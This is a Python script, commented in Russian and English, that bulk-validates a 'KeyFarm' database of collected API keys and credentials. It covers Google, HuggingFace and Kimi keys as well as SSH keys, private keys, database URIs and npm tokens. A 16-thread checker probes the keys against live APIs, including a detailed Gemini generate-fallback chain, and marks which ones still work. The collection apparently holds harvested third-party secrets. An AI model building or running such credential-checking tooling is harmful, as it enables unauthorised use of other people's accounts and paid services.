"""Форс-валидация бэклога NEW-ключей KeyFarm. Импортирует eternal_v10 как модуль (циклы не стартуют — есть __main__ guard) и прогоняет все NEW-ключи через m.validate() в 40 потоках. m.validate сам обновляет статус в БД (db_update_key, _DB_LOCK). """ import importlib.util import sqlite3 import sys import threading from collections import Counter from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime from pathlib import Path PROJ = Path(__file__).resolve().parent DB_PATH = PROJ / "data" / "keys.db" EV10 = PROJ / "src" / "eternal_v10.py" THREADS = 16 LIVE = {"WORKING", "LIMITED"} PRIO = {"GOOGLE": 0, "HUGGINGFACE": 1, "KIMI": 2} _lock = threading.Lock() _prov_live = Counter() # provider -> live count _prov_dead = Counter() # provider -> dead count _statuses = Counter() # --- D3: GOOGLE/GEMINI-валидатор (hoisted из run() — hermetic smoke водит его # напрямую). Контракт (jotaro validator.py L1338/L1920, адаптировано): # /models 200 → WORKING "GEMINI API"; 429 → LIMITED (IP-квота ≠ вердикт ключу); # 5xx → ERR (транзит, requeueable); 401 → DEAD сразу (явный отказ auth); # 400/403/404 → generateContent-цепочка по GEMINI_CANDIDATES: скоуп-ключи # часто не отдают листинг, но генерят. В цепочке: 200+candidates → WORKING # plan=; 200 без candidates (квота-обёртка) → след. модель; 429 → # LIMITED (цепочка стоп); 401 → DEAD; 400 + auth-маркер в error.message → # DEAD, иначе (location/модельный 400) → след.; 403/404/5xx → след.; # сетевое исключение → ERR (не жжём 5 запросов). Цепочка исчерпана → # DEAD google__gen (план-коды для targeted requeue). GEMINI_URL = "https://generativelanguage.googleapis.com/v1beta/models" GEMINI_GEN_URL = ("https://generativelanguage.googleapis.com/v1beta/models/" "{model}:generateContent") GEMINI_CANDIDATES = ("gemini-2.5-flash", "gemini-2.0-flash", "gemini-1.5-flash", "gemini-1.5-pro", "gemini-flash-latest") GEN_AUTH_MARKERS = ("api key", "api_key", "key not valid", "permission_denied", "key expired") def make_google_validator(m): requests = m.requests def _v_google(_prov, key): try: r = requests.get(GEMINI_URL, params={"key": key}, timeout=15) except Exception as e: return "ERR", f"google_exc:{type(e).__name__}", "", "" code = r.status_code if code == 200: try: n = len(r.json().get("models", [])) except Exception: n = 0 return "WORKING", "GEMINI API", f"{n} models", str(n) if code == 429: # v7.15: LIMITED, не WORKING — IP-scoped квота ничего не говорит # о самом ключе; WORKING впитывал rate-limit-артефакты. return "LIMITED", "google_429", "", "" if code >= 500: # v7.16: 5xx = транзитная инфраструктура, НЕ смерть ключа; # ERR + код → targeted requeue WHERE plan LIKE 'google_5%'. return "ERR", f"google_{code}", "", "" if code == 401: # явный auth-отказ на листинге — цепочка не нужна (jotaro: # deep только для UNVERIFIED/QUOTA, не для INVALID) return "DEAD", "google_401", "", "" # D3: 400/403/404 — ключ возможно жив для генерации. Первый # решающий ответ побеждает. last_g = None for model in GEMINI_CANDIDATES: try: g = requests.post( GEMINI_GEN_URL.format(model=model), headers={"x-goog-api-key": key, "Accept": "application/json"}, json={"contents": [{"parts": [{"text": "hi"}]}], "generationConfig": {"maxOutputTokens": 8, "temperature": 0}}, timeout=15) except Exception: # транзиентная сеть посреди цепочки: ERR, не DEAD (requeueable) return "ERR", f"google_{code}_genexc", "", "" gcode = g.status_code last_g = gcode if gcode == 200: try: cands = g.json().get("candidates", []) except Exception: cands = [] if cands: # plan=: gen-WORKING отличим от listing-WORKING # ("GEMINI API"); requeue gen-популяции LIKE 'gemini-%' return "WORKING", model, "", "" continue # 200 без candidates = мусор/квота-обёртка if gcode == 429: return "LIMITED", "google_gen429", "", "" if gcode == 401: return "DEAD", f"google_{code}_gen401", "", "" if gcode == 400: try: emsg = str((g.json().get("error") or {}).get("message", "")) except Exception: emsg = g.text[:200] el = emsg.lower() if any(k in el for k in GEN_AUTH_MARKERS): return "DEAD", f"google_{code}_gen400auth", "", "" continue # модельный 400 (location/not-found) → след. # 403/404/5xx/прочее → следующая модель (jotaro L1994-2003) return "DEAD", f"google_{code}_gen{last_g}", "", "" return _v_google def run(): import time t0 = time.time() # --- импорт eternal_v10 один раз --- spec = importlib.util.spec_from_file_location("ev10", str(EV10)) m = importlib.util.module_from_spec(spec) sys.stdout.flush() spec.loader.exec_module(m) print(f"[init] eternal_v10 imported in {time.time()-t0:.1f}s", flush=True) # --- рантайм-патч: GOOGLE — заглушка в eternal_v10 (vt=default без # test_model, _v_default падает KeyError). Файл не трогаем — D3-валидатор # живёт на уровне модуля (make_google_validator), патчим сюда. m.VALIDATORS["google"] = make_google_validator(m) if "GOOGLE" in m.PROVIDERS: m.PROVIDERS["GOOGLE"]["validation_type"] = "google" m.PROVIDERS["GOOGLE"]["test_url"] = GEMINI_URL m.PROVIDERS["GOOGLE"].setdefault("test_model", "gemini-2.0-flash") print("[init] GOOGLE runtime validator patched (D3 gen-fallback)", flush=True) # --- чтение бэклога --- db = sqlite3.connect(str(DB_PATH), check_same_thread=False) db.execute("PRAGMA busy_timeout=120000") db.execute("PRAGMA journal_mode=WAL") # v7.1: only select providers eternal_v10 can actually validate. # Truly-unknown provs (TWITTER/PRIVATE_KEY/...) have no PROVIDERS entry AND # no structural early-return -> validate() gives "UNKNOWN" WITHOUT # db_update_key, so they would churn as NEW forever. Filtered out here; # they stay collect-only NEW until real validation logic is added. # (PG_URI/MONGO_URI/HTTPS_AUTH etc. are NOT unknown — v7.7 note below.) # v7.7: eternal_v10.validate() structurally early-returns WORKING/"unvalidated" # for cred types with no API to probe — BEFORE the PROVIDERS lookup. They are # not PROVIDERS keys, so a PROVIDERS-only filter strands them in NEW forever. # Union them back; drift-guard against validate()'s actual source (log+exclude, # never hard-fail an unattended loop). GROQ stays out via the NEVER_MATCH filter. # 2026-10-19: GITLAB_PAT is now a PROVIDERS alias (hdr_get probe — real # validation beats a structural stamp); AZURE_STORAGE/PRIVATE_KEY live in # PROVIDERS as detection_only. Remaining 13 match validate()'s inline literals. _STRUCTURAL = {'ACCTOKEN', 'HTTPS_AUTH', 'MONGO_URI', 'MYSQL_URI', 'NETRC', 'NPMRC_TOKEN', 'PGP_KEY', 'PG_URI', 'PUTTY_KEY', 'REDIS_URI', 'SQUARE', 'SSH_KEY', 'TWILIO_SK'} import inspect _vsrc = inspect.getsource(m.validate) _drift = sorted(p for p in _STRUCTURAL if ("'%s'" % p) not in _vsrc) if _drift: print(f"[warn] structural list drift, excluded: {_drift}", flush=True) _STRUCTURAL -= set(_drift) # v7.9: exclusion is REGEX-ONLY. The old `v.get("vars") or ...` clause leaked # TOGETHER (NEVER_MATCH regex but non-empty vars) — the validator was probing # ~260 keys of an operator-disabled family. NEVER_MATCH in regex = disabled. # .upper() covers word-order variants (e.g. DISABLED_NEVER_MATCH). valid_provs = sorted( set(k for k, v in m.PROVIDERS.items() if "NEVER_MATCH" not in str(v.get("regex", "")).upper()) | _STRUCTURAL) _ph = ",".join("?" * len(valid_provs)) # v7.13: structural rows FIRST in the slice — they cost zero HTTP, so they # must never be rationed behind slow network probes (pre-drain, the ELSE # bucket starved behind GOOGLE/HF/KIMI and 13k zero-cost rows sat for hours; # matters again when TWITTER/PRIVATE_KEY unlock adds ~29k network rows). # Built from _STRUCTURAL itself — no drift from the union above. # ponytail: LIMIT 8000 still caps the slice; if structural NEW ever exceeds # it, split into a separate un-LIMITed pre-pass (upgrade path, not needed # at ~1.3k/day inflow). _struct_ph = ",".join(f"'{p}'" for p in sorted(_STRUCTURAL)) or "''" # empty-set guard: IN ('') valid, matches nothing rows = db.execute( f"SELECT val, prov FROM keys WHERE status='NEW' AND prov IN ({_ph}) " f"ORDER BY CASE WHEN prov IN ({_struct_ph}) THEN -1 " "WHEN prov='GOOGLE' THEN 0 WHEN prov='HUGGINGFACE' THEN 1 " "WHEN prov='KIMI' THEN 2 ELSE 3 END, id LIMIT 8000", valid_provs, ).fetchall() new_total = db.execute( "SELECT count(*) FROM keys WHERE status='NEW'").fetchone()[0] db.close() print(f"[init] validatable providers={len(valid_provs)} | " f"NEW validatable={len(rows)} collect-only-skipped={new_total - len(rows)}", flush=True) total = len(rows) print(f"[init] backlog: {total} NEW keys" f" ({len(set(p for _, p in rows))} providers)", flush=True) if not rows: print("[done] no NEW keys — nothing to validate", flush=True) return done = 0 def work(item): nonlocal done val, prov = item for attempt in (0, 1, 2): try: st, plan, price, rem = m.validate(val, prov) break except sqlite3.OperationalError: if attempt == 2: # v7.8: do NOT persist db-locked — transient SQLite contention # must stay NEW and retry next round. Persisting it buried # live keys as DEAD without ever probing them. st, plan, price, rem = "DEAD", "db-locked", "", "" else: time.sleep(0.5 * (attempt + 1)) except Exception as e: # валидатор может упасть на кривом prov-entry (KeyError и т.п.) # — не роняем весь прогон, фиксируем как ERR st, plan, price, rem = "ERR", f"exc:{type(e).__name__}", "", "" try: m.db_update_key(val, st, plan, "", "") except Exception: pass break with _lock: _statuses[st] += 1 if st in LIVE: _prov_live[prov] += 1 else: _prov_dead[prov] += 1 done += 1 if done % 200 == 0 or done == total: print( f"[{done}/{total}] {prov} live={_prov_live[prov]}" f" dead={_prov_dead[prov]} | " + " ".join(f"{s}={c}" for s, c in _statuses.most_common()), flush=True) return st with ThreadPoolExecutor(max_workers=THREADS) as ex: list(ex.map(work, rows)) dt = time.time() - t0 print(f"[done] {total} keys in {dt/60:.1f} min", flush=True) # --- итог --- db = sqlite3.connect(str(DB_PATH)) db.execute("PRAGMA busy_timeout=120000") print("\n=== status after run ===", flush=True) for st, c in db.execute("SELECT status, COUNT(*) FROM keys " "GROUP BY status ORDER BY 2 DESC"): print(f" {st:<10} {c}", flush=True) print("\n=== top live providers ===", flush=True) for prov, c in db.execute( "SELECT prov, COUNT(*) FROM keys " "WHERE status IN ('WORKING','LIMITED') " "GROUP BY prov ORDER BY 2 DESC LIMIT 10"): print(f" {prov:<20} {c}", flush=True) new_left = db.execute("SELECT COUNT(*) FROM keys WHERE status='NEW'" ).fetchone()[0] print(f"\nNEW remaining: {new_left}", flush=True) db.close() if __name__ == "__main__": run()